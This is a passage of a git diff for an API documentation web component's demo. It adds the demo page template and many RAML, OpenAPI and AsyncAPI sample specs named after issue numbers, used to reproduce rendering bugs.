+ This demo lets you preview the API summary document with various configuration options.
+
+
+
+ ${!loaded ? html`
Load an API model first.
` : this.loadedTemplate()}
+
+
+ `;
+ }
+
+ loadedTemplate() {
+ return html`
+ ${this.componentTemplate()}
+ `;
+ }
+
+ componentTemplate() {
+ const { demoStates, darkThemeActive, amf, overrideBaseUri } = this;
+ return html`
+
+
+
+
+
+
+ Custom base URI
+
+
+ `;
+ }
+
+ _apiListTemplate() {
+ const result = [];
+ [
+ ['demo-api', 'Demo API'],
+ ['google-drive-api', 'Google Drive'],
+ ['prevent-xss', 'Prevent XSS'],
+ ['mocking-service', 'Lots of methods'],
+ ['no-endpoints', 'No endpoints!'],
+ ['no-server', 'No server!'],
+ ['multi-server', 'Multiple servers'],
+ ['async-api', 'AsyncAPI'],
+ ['APIC-641', 'APIC-641'],
+ ['APIC-711', 'A library'],
+ ].forEach(([file, label]) => {
+ result[result.length] = html`
+ ${label}`;
+ });
+ return result;
+ }
+}
+const instance = new ComponentPage();
+instance.render();
diff --git a/demo/apis.json b/demo/apis.json
deleted file mode 100644
index 718851d..0000000
--- a/demo/apis.json
+++ /dev/null
@@ -1,21 +0,0 @@
-{
- "demo-api/demo-api.raml": "RAML 1.0",
- "array-body/array-body.raml": "RAML 1.0",
- "appian-api/appian-api.raml": "RAML 1.0",
- "nexmo-sms-api/nexmo-sms-api.raml": "RAML 1.0",
- "APIC-15/APIC-15.raml": "RAML 1.0",
- "oauth1-fragment/oauth1-fragment.raml": "RAML 1.0",
- "oauth2-fragment/oauth2-fragment.raml": "RAML 1.0",
- "type-fragment/type-fragment.raml": "RAML 1.0",
- "documentation-fragment/documentation-fragment.raml": "RAML 1.0",
- "lib-fragment/lib-fragment.raml": "RAML 1.0",
- "example-fragment/example-fragment.raml": "RAML 1.0",
- "SE-10469/SE-10469.raml": "RAML 1.0",
- "SE-11415/SE-11415.raml": "RAML 1.0",
- "APIC-390/APIC-390.raml": "RAML 1.0",
- "exchange-experience-api/exchange-experience-api.raml": "RAML 0.8",
- "google-drive-api/google-drive-api.raml": "RAML 1.0",
- "multi-server/multi-server.yaml": { "type": "OAS 3.0", "mime": "application/yaml" },
- "async-api/async-api.yaml": "ASYNC 2.0",
- "APIC-711/APIC-711.raml": "RAML 1.0"
-}
diff --git a/demo/APIC-15/APIC-15.raml b/demo/apis/APIC-15/APIC-15.raml
similarity index 100%
rename from demo/APIC-15/APIC-15.raml
rename to demo/apis/APIC-15/APIC-15.raml
diff --git a/demo/APIC-15/data-types/organization-data-type.raml b/demo/apis/APIC-15/data-types/organization-data-type.raml
similarity index 100%
rename from demo/APIC-15/data-types/organization-data-type.raml
rename to demo/apis/APIC-15/data-types/organization-data-type.raml
diff --git a/demo/APIC-15/examples/organization/organization-array-response.raml b/demo/apis/APIC-15/examples/organization/organization-array-response.raml
similarity index 100%
rename from demo/APIC-15/examples/organization/organization-array-response.raml
rename to demo/apis/APIC-15/examples/organization/organization-array-response.raml
diff --git a/demo/APIC-15/examples/organization/organization-individual-response.raml b/demo/apis/APIC-15/examples/organization/organization-individual-response.raml
similarity index 100%
rename from demo/APIC-15/examples/organization/organization-individual-response.raml
rename to demo/apis/APIC-15/examples/organization/organization-individual-response.raml
diff --git a/demo/apis/APIC-282/APIC-282.raml b/demo/apis/APIC-282/APIC-282.raml
new file mode 100644
index 0000000..3cfc2c5
--- /dev/null
+++ b/demo/apis/APIC-282/APIC-282.raml
@@ -0,0 +1,57 @@
+#%RAML 1.0
+title: APIC-282
+version: v1
+baseUri: http://api.domain.com/
+mediaType: [ application/json ]
+
+annotationTypes:
+ deprecated: string
+ annotationTest: nil
+types:
+ Arrays:
+ type: object
+ properties:
+ testRepeatable:
+ (deprecated): Test parameter will be removed in next version of the API.
+ required: true
+ type: string[]
+ example: [value1, value2]
+ description: A string array with an example and annotation.
+ minItems: 1
+ maxItems: 10
+ numericRepeatable:
+ required: true
+ type: integer[]
+ examples:
+ Some-test-example: [123, 456]
+ Other-example: [1011, 1213]
+ notRequiredRepeatable:
+ (annotationTest):
+ type: array
+ items: date-only
+ required: false
+ multiArray:
+ type: array
+ items: boolean | string
+
+/endpoint:
+ post:
+ body:
+ type: object
+ properties:
+ testRepeatable:
+ (deprecated): Test parameter will be removed in next version of the API.
+ required: true
+ type: string[]
+ example: [value1, value2]
+ numericRepeatable:
+ required: true
+ type: integer[]
+ examples:
+ Some-test-example: [123, 456]
+ Other-example: [1011, 1213]
+ notRequiredRepeatable:
+ (annotationTest):
+ type: array
+ items: date-only
+ required: false
diff --git a/demo/apis/APIC-289/APIC-289.yaml b/demo/apis/APIC-289/APIC-289.yaml
new file mode 100644
index 0000000..690a6a8
--- /dev/null
+++ b/demo/apis/APIC-289/APIC-289.yaml
@@ -0,0 +1,21 @@
+swagger: "2.0"
+
+info:
+ version: 1.0.0
+ title: ParamRefExample
+
+paths:
+ /organization:
+ get:
+ parameters:
+ - $ref: "#/parameters/foo_bar"
+ responses:
+ 200:
+ description: OK
+
+parameters:
+ foo_bar:
+ name: foo
+ in: query
+ required: true
+ type: string
diff --git a/demo/apis/APIC-332/APIC-332.raml b/demo/apis/APIC-332/APIC-332.raml
new file mode 100644
index 0000000..d091e1c
--- /dev/null
+++ b/demo/apis/APIC-332/APIC-332.raml
@@ -0,0 +1,22 @@
+#%RAML 1.0
+title: API with Examples
+
+types:
+ Org:
+ type: object
+ description: This description for the type is shown
+ properties:
+ name: string
+ address?: string
+ value?: string
+
+/organization:
+ post:
+ body:
+ application/json:
+ type: Org
+ example:
+ value:
+ name: Fake SA
+ value: Something
+ description: This description for the example is never shown
diff --git a/demo/APIC-390/APIC-390.raml b/demo/apis/APIC-390/APIC-390.raml
similarity index 100%
rename from demo/APIC-390/APIC-390.raml
rename to demo/apis/APIC-390/APIC-390.raml
diff --git a/demo/APIC-390/Types/ISO-standards.raml b/demo/apis/APIC-390/Types/ISO-standards.raml
similarity index 100%
rename from demo/APIC-390/Types/ISO-standards.raml
rename to demo/apis/APIC-390/Types/ISO-standards.raml
diff --git a/demo/apis/APIC-429/APIC-429.yaml b/demo/apis/APIC-429/APIC-429.yaml
new file mode 100644
index 0000000..abd11c3
--- /dev/null
+++ b/demo/apis/APIC-429/APIC-429.yaml
@@ -0,0 +1,63 @@
+openapi: "3.0.0"
+info:
+ version: 1.0.0
+ title: Swagger Petstore
+paths:
+ /pets:
+ get:
+ description: |
+ Returns all pets from the system that the user has access to.
+ responses:
+ '200':
+ description: pet response
+ content:
+ application/json:
+ schema:
+ type: array
+ items:
+ $ref: '#/components/schemas/Pet'
+ /pets/2:
+ get:
+ description: Returns a user based on a single ID, if the user does not have access to the pet
+ responses:
+ '200':
+ description: pet response
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/Pet'
+ /pets/3:
+ get:
+ description: Returns a user based on a single ID, if the user does not have access to the pet
+ responses:
+ '200':
+ description: pet response
+ content:
+ application/json:
+ schema:
+ type: array
+ items:
+ type: string
+components:
+ schemas:
+ Pet:
+ allOf:
+ - $ref: '#/components/schemas/NewPet'
+ - type: object
+ required:
+ - id
+ properties:
+ id:
+ type: integer
+ format: int64
+ NewPet:
+ type: object
+ required:
+ - name
+ properties:
+ name:
+ type: string
+ description: name of pet
+ enum: ['harvey','bertie']
+ tag:
+ type: string
diff --git a/demo/apis/APIC-463/APIC-463.raml b/demo/apis/APIC-463/APIC-463.raml
new file mode 100644
index 0000000..b6663ff
--- /dev/null
+++ b/demo/apis/APIC-463/APIC-463.raml
@@ -0,0 +1,13 @@
+#%RAML 1.0
+title: missing-body
+/test:
+ post:
+ description: Upload a dataset[.txt,.csv] or config[.conf] file. Maximum file size is 2 GB.
+ body:
+ binary/octet-stream:
+ multipart/form-data:
+ properties:
+ file:
+ description: The file to upload.
+ required: true
+ type: file
\ No newline at end of file
diff --git a/demo/apis/APIC-483/APIC-483.raml b/demo/apis/APIC-483/APIC-483.raml
new file mode 100644
index 0000000..48e36eb
--- /dev/null
+++ b/demo/apis/APIC-483/APIC-483.raml
@@ -0,0 +1,16 @@
+#%RAML 1.0
+title: Retrieve List of Bank
+description: |
+ Bank Paynet API
+mediaType:
+ - application/json
+baseUri: api/bank/prc/{version}
+version: v1
+
+/banks:
+ post:
+ displayName: Retrieve Bank Paynet
+ body:
+ application/json:
+ type: !include schema/response-retrieve-list-bank.json
+ example: !include example/list-of-bank-succ.json
diff --git a/demo/apis/APIC-483/example/list-of-bank-succ.json b/demo/apis/APIC-483/example/list-of-bank-succ.json
new file mode 100644
index 0000000..43ee91b
--- /dev/null
+++ b/demo/apis/APIC-483/example/list-of-bank-succ.json
@@ -0,0 +1,32 @@
+{
+ "banks": [{
+ "id": "BANKAMYKL",
+ "name": "Bank A",
+ "status": "A",
+ "urlList": [
+ {
+ "urlType": "RET",
+ "urlValue": "https://www.bank-a.com.my/retail/checkout/info",
+ "applicationId": "com.merchanta.app"
+ },
+ {
+ "urlType": "CORP",
+ "urlValue": "https://www.bank-a.com.my/corp/checkout/info",
+ "applicationId": "com.merchanta.app"
+ }
+ ]
+ },
+ {
+ "id": "MERAMYKL",
+ "name": "Merchant Buffet",
+ "status": "A",
+ "urlList": [
+ {
+ "urlType": "RET",
+ "urlValue": "https://www.buffetnotarealurl.com.my/checkout/info",
+ "applicationId": "com.buffet.app"
+ }
+ ]
+
+ }]
+}
\ No newline at end of file
diff --git a/demo/apis/APIC-483/schema/response-retrieve-list-bank.json b/demo/apis/APIC-483/schema/response-retrieve-list-bank.json
new file mode 100644
index 0000000..8f3d697
--- /dev/null
+++ b/demo/apis/APIC-483/schema/response-retrieve-list-bank.json
@@ -0,0 +1,68 @@
+{
+ "$schema": "http://json-schema.org/draft-04/schema#",
+ "type": "object",
+ "properties": {
+ "banks": {
+ "type": "array",
+ "items": [
+ {
+ "type": "object",
+ "properties": {
+ "id": {
+ "type": "string",
+ "description":"Bank/Merchant Id (BIC code)",
+ "maxLength":35
+ },
+ "name": {
+ "type": "string",
+ "description":"Bank/Merchant Name",
+ "maxLength":35
+ },
+ "status": {
+ "type": "string",
+ "description":"Bank/Merchant Active/Inactive Status. Can have one of the values 'A'=Active, or 'I'=Inactive)",
+ "maxLength":35
+ },
+ "urlList": {
+ "type": "array",
+ "items": [
+ {
+ "type": "object",
+ "properties": {
+ "urlType": {
+ "type": "string",
+ "description":"URL Type. Used where participant may have more than one Redirect URL. Example Corporate and Retail redirect URL 1)RET= Retail 2)COR= Corporate",
+ "maxLength":3
+ },
+ "urlValue": {
+ "type": "string",
+ "description":"URL Value",
+ "maxLength":140
+ },
+ "applicationId": {
+ "type": "string",
+ "description":"Bank Application Id",
+ "maxLength":140
+ }
+ },
+ "required": [
+ "urlType",
+ "urlValue"
+ ]
+ }
+ ]
+ }
+ },
+ "required": [
+ "id",
+ "name",
+ "urlList"
+ ]
+ }
+ ]
+ }
+ },
+ "required": [
+ "banks"
+ ]
+}
\ No newline at end of file
diff --git a/demo/apis/APIC-553/APIC-553.raml b/demo/apis/APIC-553/APIC-553.raml
new file mode 100644
index 0000000..d1e9b50
--- /dev/null
+++ b/demo/apis/APIC-553/APIC-553.raml
@@ -0,0 +1,59 @@
+#%RAML 1.0
+baseUri: http://domain.org
+
+title: Array does not work API
+version: 1.0
+mediaType: application/json
+description: |
+ "TypeError: Cannot read property 'split' of undefined" prevents Documentation from being shown.
+
+ After bump of console v6.3.1 in APID, automation fails when navigating to endpoint cmt method GET in the following API
+
+types:
+ ORX_ARRAY:
+ type: array
+ items: string
+ minItems: 1
+ ORX_STR_WITH_EXAMPLE:
+ type: string
+ example: foo
+
+/cmt:
+ get:
+ queryParameters:
+ orx:
+ description: List ORX type.
+ type: ORX_ARRAY
+ required: true
+ details:
+ displayName: details
+ type: string
+ required: false
+ modemCount:
+ displayName: modemCount
+ type: string
+ required: false
+ responses:
+ 200:
+ body:
+ application/json:
+/cmt-with-qp-example:
+ get:
+ queryParameters:
+ orx:
+ description: ORX type.
+ type: string
+ required: true
+ example: foo
+ details:
+ displayName: details
+ type: string
+ required: false
+ modemCount:
+ displayName: modemCount
+ type: string
+ required: false
+ responses:
+ 200:
+ body:
+ application/json:
diff --git a/demo/apis/APIC-560/APIC-560.yaml b/demo/apis/APIC-560/APIC-560.yaml
new file mode 100644
index 0000000..98f55da
--- /dev/null
+++ b/demo/apis/APIC-560/APIC-560.yaml
@@ -0,0 +1,203 @@
+asyncapi: 2.0.0
+info:
+ title: Streetlights API
+ version: '1.0.0'
+ description: |
+ The URL in the operation doc was rendering the URL value outside the URL area.
+ license:
+ name: Apache 2.0
+ url: https://www.apache.org/licenses/LICENSE-2.0
+
+servers:
+ production:
+ url: api.streetlights.smartylighting.com:{port}
+ protocol: mqtt
+ description: Test broker
+ variables:
+ port:
+ description: Secure connection (TLS) is available through port 8883.
+ default: '1883'
+ enum:
+ - '1883'
+ - '8883'
+ security:
+ - apiKey: []
+ - supportedOauthFlows:
+ - streetlights:on
+ - streetlights:off
+ - streetlights:dim
+ - openIdConnectWellKnown: []
+
+defaultContentType: application/json
+
+channels:
+ smartylighting/streetlights/1/0/event/{streetlightId}/lighting/measured:
+ description: The topic on which measured values may be produced and consumed.
+ parameters:
+ streetlightId:
+ $ref: '#/components/parameters/streetlightId'
+ subscribe:
+ summary: Receive information about environmental lighting conditions of a particular streetlight.
+ operationId: receiveLightMeasurement
+ traits:
+ - $ref: '#/components/operationTraits/kafka'
+ message:
+ $ref: '#/components/messages/lightMeasured'
+
+ smartylighting/streetlights/1/0/action/{streetlightId}/turn/on:
+ parameters:
+ streetlightId:
+ $ref: '#/components/parameters/streetlightId'
+ publish:
+ operationId: turnOn
+ traits:
+ - $ref: '#/components/operationTraits/kafka'
+ message:
+ $ref: '#/components/messages/turnOnOff'
+
+ smartylighting/streetlights/1/0/action/{streetlightId}/turn/off:
+ parameters:
+ streetlightId:
+ $ref: '#/components/parameters/streetlightId'
+ publish:
+ operationId: turnOff
+ traits:
+ - $ref: '#/components/operationTraits/kafka'
+ message:
+ $ref: '#/components/messages/turnOnOff'
+
+ smartylighting/streetlights/1/0/action/{streetlightId}/dim:
+ parameters:
+ streetlightId:
+ $ref: '#/components/parameters/streetlightId'
+ publish:
+ operationId: dimLight
+ traits:
+ - $ref: '#/components/operationTraits/kafka'
+ message:
+ $ref: '#/components/messages/dimLight'
+
+components:
+ messages:
+ lightMeasured:
+ name: lightMeasured
+ title: Light measured
+ summary: Inform about environmental lighting conditions for a particular streetlight.
+ contentType: application/json
+ traits:
+ - $ref: '#/components/messageTraits/commonHeaders'
+ payload:
+ $ref: "#/components/schemas/lightMeasuredPayload"
+ turnOnOff:
+ name: turnOnOff
+ title: Turn on/off
+ summary: Command a particular streetlight to turn the lights on or off.
+ traits:
+ - $ref: '#/components/messageTraits/commonHeaders'
+ payload:
+ $ref: "#/components/schemas/turnOnOffPayload"
+ dimLight:
+ name: dimLight
+ title: Dim light
+ summary: Command a particular streetlight to dim the lights.
+ traits:
+ - $ref: '#/components/messageTraits/commonHeaders'
+ payload:
+ $ref: "#/components/schemas/dimLightPayload"
+
+ schemas:
+ lightMeasuredPayload:
+ type: object
+ properties:
+ lumens:
+ type: integer
+ minimum: 0
+ description: Light intensity measured in lumens.
+ sentAt:
+ $ref: "#/components/schemas/sentAt"
+ turnOnOffPayload:
+ type: object
+ properties:
+ command:
+ type: string
+ enum:
+ - on
+ - off
+ description: Whether to turn on or off the light.
+ sentAt:
+ $ref: "#/components/schemas/sentAt"
+ dimLightPayload:
+ type: object
+ properties:
+ percentage:
+ type: integer
+ description: Percentage to which the light should be dimmed to.
+ minimum: 0
+ maximum: 100
+ sentAt:
+ $ref: "#/components/schemas/sentAt"
+ sentAt:
+ type: string
+ format: date-time
+ description: Date and time when the message was sent.
+
+ securitySchemes:
+ apiKey:
+ type: apiKey
+ in: user
+ description: Provide your API key as the user and leave the password empty.
+ supportedOauthFlows:
+ type: oauth2
+ description: Flows to support OAuth 2.0
+ flows:
+ implicit:
+ authorizationUrl: 'https://authserver.example/auth'
+ scopes:
+ 'streetlights:on': Ability to switch lights on
+ 'streetlights:off': Ability to switch lights off
+ 'streetlights:dim': Ability to dim the lights
+ password:
+ tokenUrl: 'https://authserver.example/token'
+ scopes:
+ 'streetlights:on': Ability to switch lights on
+ 'streetlights:off': Ability to switch lights off
+ 'streetlights:dim': Ability to dim the lights
+ clientCredentials:
+ tokenUrl: 'https://authserver.example/token'
+ scopes:
+ 'streetlights:on': Ability to switch lights on
+ 'streetlights:off': Ability to switch lights off
+ 'streetlights:dim': Ability to dim the lights
+ authorizationCode:
+ authorizationUrl: 'https://authserver.example/auth'
+ tokenUrl: 'https://authserver.example/token'
+ refreshUrl: 'https://authserver.example/refresh'
+ scopes:
+ 'streetlights:on': Ability to switch lights on
+ 'streetlights:off': Ability to switch lights off
+ 'streetlights:dim': Ability to dim the lights
+ openIdConnectWellKnown:
+ type: openIdConnect
+ openIdConnectUrl: 'https://authserver.example/.well-known'
+
+ parameters:
+ streetlightId:
+ description: The ID of the streetlight.
+ schema:
+ type: string
+
+ messageTraits:
+ commonHeaders:
+ headers:
+ type: object
+ properties:
+ my-app-header:
+ type: integer
+ minimum: 0
+ maximum: 100
+
+ operationTraits:
+ kafka:
+ bindings:
+ kafka:
+ clientId: my-app-id
diff --git a/demo/apis/APIC-582/APIC-582.yaml b/demo/apis/APIC-582/APIC-582.yaml
new file mode 100644
index 0000000..6ee399a
--- /dev/null
+++ b/demo/apis/APIC-582/APIC-582.yaml
@@ -0,0 +1,23 @@
+asyncapi: 2.0.0
+info:
+ title: Account service
+ version: 1.0.0
+ description: The response body was not rendered as defined in the spec.
+channels:
+ user/signedup:
+ subscribe:
+ message:
+ $ref: '#/components/messages/UserSignedUp'
+components:
+ messages:
+ UserSignedUp:
+ payload:
+ type: object
+ properties:
+ displayName:
+ type: string
+ description: Name of the user
+ email:
+ type: string
+ format: email
+ description: Email of user
diff --git a/demo/apis/APIC-631/APIC-631.raml b/demo/apis/APIC-631/APIC-631.raml
new file mode 100644
index 0000000..7c9a8a2
--- /dev/null
+++ b/demo/apis/APIC-631/APIC-631.raml
@@ -0,0 +1,20 @@
+#%RAML 1.0
+title: APIC-631
+
+
+types:
+ test1:
+ properties:
+ names1: string[] | nil
+ test2:
+ type: string[] | nil
+ test3:
+ type: string[]
+ test4:
+ properties:
+ names1: string[]
+ test5:
+ type: string[]
+ test8:
+ properties:
+ names8: number[]
\ No newline at end of file
diff --git a/demo/apis/APIC-641/APIC-641.yaml b/demo/apis/APIC-641/APIC-641.yaml
new file mode 100644
index 0000000..6195187
--- /dev/null
+++ b/demo/apis/APIC-641/APIC-641.yaml
@@ -0,0 +1,26 @@
+openapi: '3.0.2'
+info:
+ title: 'profiles'
+ description: >
+ Provides `profiles` domain services of the **Client Data Platform**.
+ version: '2.0.1'
+ contact:
+ name: Client Data Platform Platform & Support
+ email: CDP_Services_Support@capgroup.com
+ url: https://cg-itg.slack.com/archives/C018M7FCSMS/p1602588312007200
+servers:
+ - url: https://api.aws-west-prd.capgroup.com/cdp-proxy/profiles
+ description: MuleSoft PROD
+ - url: https://api.aws-west-snp.capgroup.com/cdp-proxy-e2e/profiles
+ description: MuleSoft UAT (for enterprise consumers)
+ - url: https://api.aws-west-oz.capgroup.com/cdp-proxy-ite2/profiles
+ description: MuleSoft QA (for enterprise consumers)
+ - url: https://api.aws-west-oz.capgroup.com/cdp-proxy-dev2/profiles
+paths:
+ /parties/v1/{partyId}:
+ summary: Represents a client of Capital Group
+ description: >
+ Provides details about Capital Group clients including name, address and other information
+ get:
+ operationId: getPartyById
+ summary: Gets the specific parties in the system.
\ No newline at end of file
diff --git a/demo/apis/APIC-649/APIC-649.yaml b/demo/apis/APIC-649/APIC-649.yaml
new file mode 100644
index 0000000..6c14365
--- /dev/null
+++ b/demo/apis/APIC-649/APIC-649.yaml
@@ -0,0 +1,118 @@
+openapi: "3.0.0"
+
+info:
+ description: This is a simple API
+ version: "1.0.0"
+ title: Simple Inventory API
+ contact:
+ email: you@your-company.com
+ license:
+ name: Apache 2.0
+ url: 'http://www.apache.org/licenses/LICENSE-2.0.html'
+tags:
+ - name: admins
+ description: Secured Admin-only calls
+ - name: developers
+ description: Operations available to regular developers
+paths:
+ /inventory:
+ get:
+ tags:
+ - developers
+ summary: searches inventory
+ operationId: searchInventory
+ description: |
+ By passing in the appropriate options, you can search for
+ available inventory in the system
+ parameters:
+ - in: query
+ name: searchString
+ description: pass an optional search string for looking up inventory
+ required: false
+ schema:
+ type: string
+ - in: query
+ name: skip
+ description: number of records to skip for pagination
+ schema:
+ type: integer
+ format: int32
+ minimum: 0
+ - in: query
+ name: limit
+ description: maximum number of records to return
+ schema:
+ type: integer
+ format: int32
+ minimum: 0
+ maximum: 50
+ responses:
+ '200':
+ description: search results matching criteria
+ content:
+ application/json:
+ schema:
+ type: array
+ items:
+ $ref: '#/components/schemas/InventoryItem'
+ '400':
+ description: bad input parameter
+ post:
+ tags:
+ - admins
+ summary: adds an inventory item
+ operationId: addInventory
+ description: Adds an item to the system
+ responses:
+ '201':
+ description: item created
+ '400':
+ description: 'invalid input, object invalid'
+ '409':
+ description: an existing item already exists
+ requestBody:
+ content:
+ application/json:
+ schema:
+ $ref: '#/components/schemas/InventoryItem'
+ description: Inventory item to add
+components:
+ schemas:
+ InventoryItem:
+ type: object
+ required:
+ - id
+ - name
+ - manufacturer
+ - releaseDate
+ properties:
+ id:
+ type: string
+ format: uuid
+ example: d290f1ee-6c54-4b01-90e6-d701748f0851
+ name:
+ type: string
+ example: Widget Adapter
+ releaseDate:
+ type: string
+ format: date-time
+ example: '2016-08-29T09:12:33.001Z'
+ manufacturer:
+ $ref: '#/components/schemas/Manufacturer'
+ Manufacturer:
+ required:
+ - name
+ properties:
+ name:
+ type: string
+ example: ACME Corporation
+ deprecated: true
+ homePage:
+ type: string
+ format: url
+ example: 'https://www.acme-corp.com'
+ phone:
+ type: string
+ example: 408-867-5309
+ deprecated: true
+ type: object
\ No newline at end of file
diff --git a/demo/apis/APIC-650/APIC-650.yaml b/demo/apis/APIC-650/APIC-650.yaml
new file mode 100644
index 0000000..e345f59
--- /dev/null
+++ b/demo/apis/APIC-650/APIC-650.yaml
@@ -0,0 +1,24 @@
+openapi: "3.0.0"
+info:
+ version: v1
+ title: test-api-spec-for-support-case
+ description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint.
+
+paths:
+ /testEndpoint1/{uriParam1}:
+ get:
+ parameters:
+ - $ref: "common-parameters.yaml#/components/parameters/UriParam1"
+ description: Test endpoint 1.
+ responses:
+ '200':
+ description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint.
+
+ /testEndpoint2/{uriParam2}:
+ get:
+ parameters:
+ - $ref: "common-parameters.yaml#/components/parameters/UriParam2"
+ description: Test endpoint 2.
+ responses:
+ '200':
+ description: When going back and forth between the endpoints defined in the attached spec, the generated example for URI Parameters is not populated correctly, it belongs to the other endpoint.
diff --git a/demo/apis/APIC-650/common-parameters.yaml b/demo/apis/APIC-650/common-parameters.yaml
new file mode 100644
index 0000000..eb80f07
--- /dev/null
+++ b/demo/apis/APIC-650/common-parameters.yaml
@@ -0,0 +1,23 @@
+openapi: "3.0.0"
+info:
+ version: 1.0.0
+ title: common-parameters
+paths: {}
+components:
+ parameters:
+ UriParam1:
+ name: uriParam1
+ in: path
+ description: uri param for testEndpoint 1
+ required: true
+ schema:
+ type: string
+ example: "uriParam1Example"
+ UriParam2:
+ name: uriParam2
+ in: path
+ description: uri param for testEndpoint 2
+ required: true
+ schema:
+ type: string
+ example: "uriParam2Example"
\ No newline at end of file
diff --git a/demo/apis/APIC-667/APIC-667.raml b/demo/apis/APIC-667/APIC-667.raml
new file mode 100644
index 0000000..a4abcc3
--- /dev/null
+++ b/demo/apis/APIC-667/APIC-667.raml
@@ -0,0 +1,30 @@
+#%RAML 1.0
+title: RamlLibraryTypeShowsMediaType
+
+version: v1
+mediaType: [ application/json, application/xml ]
+
+types:
+ aNumberType:
+ description: a description
+ type: number
+
+/{uriparam}:
+ description: Example for 00293053
+ uriParameters:
+ uriparam:
+ type: aNumberType
+ example: 123
+ required: true
+ get:
+ description: a method Description
+ queryParameters:
+ qp:
+ type: string
+ description: a query param Description
+ example: atextexample
+ required: false
+ responses:
+ 200:
+ body:
+ application/json:
diff --git a/demo/apis/APIC-671/APIC-671.yaml b/demo/apis/APIC-671/APIC-671.yaml
new file mode 100644
index 0000000..878da2c
--- /dev/null
+++ b/demo/apis/APIC-671/APIC-671.yaml
@@ -0,0 +1,387 @@
+openapi: 3.0.1
+info:
+ title: Subscriptions
+ description: "Manage a customer's subscription and retrieve their subscription history and information.\n
+
+ Use the provided API to enroll an end-user into a subscription plan, manage their payment method and subscription lifecycle.\n
+
+ **Onboarding**\n
+
+ If you wish to enroll an end-user into an existing subscrtipion program, there is no additional onboarding needed; simply start using these APIs.\n
+
+ If you wish to enroll an end-user into a new subscription program outside of Price Match (BPme US), Coffee Club (BPme UK) or Daily Coffee (ampm), please contact the subscritpion team. At the moment consumers are not able to self-service to create new subscription plans.\n
+
+ **Right to be forgotten & refunds**\n
+
+ Administrative features are currently only accessible by the subscription team. For requests such as to carry out a user's right to be forgotten or issuing refunds, please contact the subscription team.\n
+
+
+ **Payment method & integration with the user's stored wallet**\n
+
+ The subscritpion service _is not integrated_ with bp wallet at this time. Consumers will need to integrate directly with Braintree to capture the card used for the subscription payments.\n
+
+ _Note: Consumers web interfaces may need to be PCI compliant_ \n
+
+ **Interacting with API**\n
+
+ _User_\n
+
+ For retrieving information about a user's subscribscriptions - both current and past.\n
+
+ _Subscriptions_\n
+
+ For enrolling a user in a subsription plan, canceling an existing subscrption, or retrieve a user's payment method information and update a user's payment method.\n
+
+
+ **Contact information**\n
+
+ Product owner: Eric Doornbos (eric.doornbos@bp.com)\n
+
+ Architect: Protik Majumdar (protik.majumdar@bp.com)\n
+
+ For developer support, reach the team via our slack channel: [#global-subscriptions-devs](https://bp-dcm-b2c.slack.com/archives/C01738X00PN)\n
+
+ For feature requests or onboarding a new subscription program, please reach out to Eric.\n
+
+ "
+ contact:
+ name: "the subscription team"
+ email: this-dl-does-not-exist@bp.com
+ version: 1.0.0
+externalDocs:
+ description: Find out more about subscriptions
+ url: https://bp-vsts.visualstudio.com/BPme/_wiki/wikis/BPme.wiki/31322/Global-Subscriptions
+servers:
+- url: http://localhost:8080
+- url: https://dev-subscriptions.bpglobal.com
+- url: https://qa-subscriptions.bpglobal.com
+security:
+ - UserJWT: []
+tags:
+- name: user
+ description: Subscription information by user
+ externalDocs:
+ description: Find out more
+ url: http://swagger.io
+- name: subscriptions
+ description: Enroll or manage subscription details
+paths:
+ /user/subscriptions:
+ get:
+ tags:
+ - "user"
+ summary: "Get all subscription for the user"
+ description: "Returns the list of subscriptions, past and present, for that user. Only subscriptions under the provided loyalty program will be returned."
+ parameters:
+ - name: "x-loyalty-program"
+ in: header
+ schema:
+ $ref: "#/components/schemas/LoyaltyProgram"
+ responses:
+ '200':
+ description: "Successfully retrieved the subscriber's past subscriptions"
+ content:
+ application/json:
+ schema:
+ type: array
+ items:
+ $ref: '#/components/schemas/Subscription'
+ '404':
+ description: "The user was never a subscriber and has no subscriptions"
+ content: {}
+ '400':
+ description: "The request contains invalid parameters. Please ensure that the loyalty program plan name is correct."
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ error:
+ type: string
+ description: The error description
+ example: "X-LOYALTY-PROGRAM: my-fake-program is not a valid program"
+ '401':
+ description: "The request is missing authorization details. Please check to see if the end user JWT is provided in the header."
+ content: {}
+ '403':
+ description: "The request has a malformed or expired end user JWT."
+ content: {}
+ /subscriptions:
+ post:
+ summary: "Enroll the user to a subscription plan"
+ description: "Note:\n
+
+ Only credit and debit cards are valid payment methods for a subscription. Prepaid cards, Apple Pay and Google Wallet are not currently accepted.\n
+
+ Payment methods are not integrated with BP Wallet; consumers must generate the nonce (one-time use tokens) through Braintree."
+ tags:
+ - subscriptions
+ parameters:
+ - name: "x-loyalty-program"
+ in: header
+ schema:
+ $ref: "#/components/schemas/LoyaltyProgram"
+ requestBody:
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ selectedPlan:
+ type: string
+ description: The plan to enroll in. For UK Coffee Club subscriptions, please use 'HotDrinks'
+ enum:
+ - PriceMatch
+ - CoffeeSubscription
+ - HotDrinks
+ nonce:
+ type: string
+ description: The one time use token issued by Braintree for the payment method.
+ example: "fake-valid-nonce"
+ responses:
+ '201':
+ description: "Subscriber successfully enrolled"
+ '400':
+ description: "The requests is invalid due to missing or incorrect inputs."
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ error:
+ type: string
+ description: The error description
+ examples:
+ Bad loyalty program:
+ value: { error: "X-LOYALTY-PROGRAM: my-unicorn-program is not a valid program" }
+ Bad subscription plan:
+ value: { error: "Selected Plan: my-unicorn-plan is not a valid plan" }
+ '403':
+ description: "Attempted to complete an action that is not allowed.\n
+
+ Please check to see if the the supplied end-user JWT is valid, or if the the enrolled subscription plan is under the specified loyalty program."
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ error:
+ type: string
+ description: The error description
+ examples:
+ Invalid JWT:
+ value: {}
+ Mismatch between selected plan and loyalty program:
+ value: { error: "Selected Plan: CoffeeSubscription is not part of the users loyalty program" }
+ User already enrolled to another program:
+ value: { error: "User already has an active subscription in the specified loyalty program" }
+ '409':
+ description: "There was a conflict enrolling the user; the user is already enrolled to the selected plan"
+ content:
+ application/json:
+ schema:
+ type: object
+ properties:
+ error:
+ type: string
+ description: The error description
+ example: "User is already enrolled in the requested subscription"
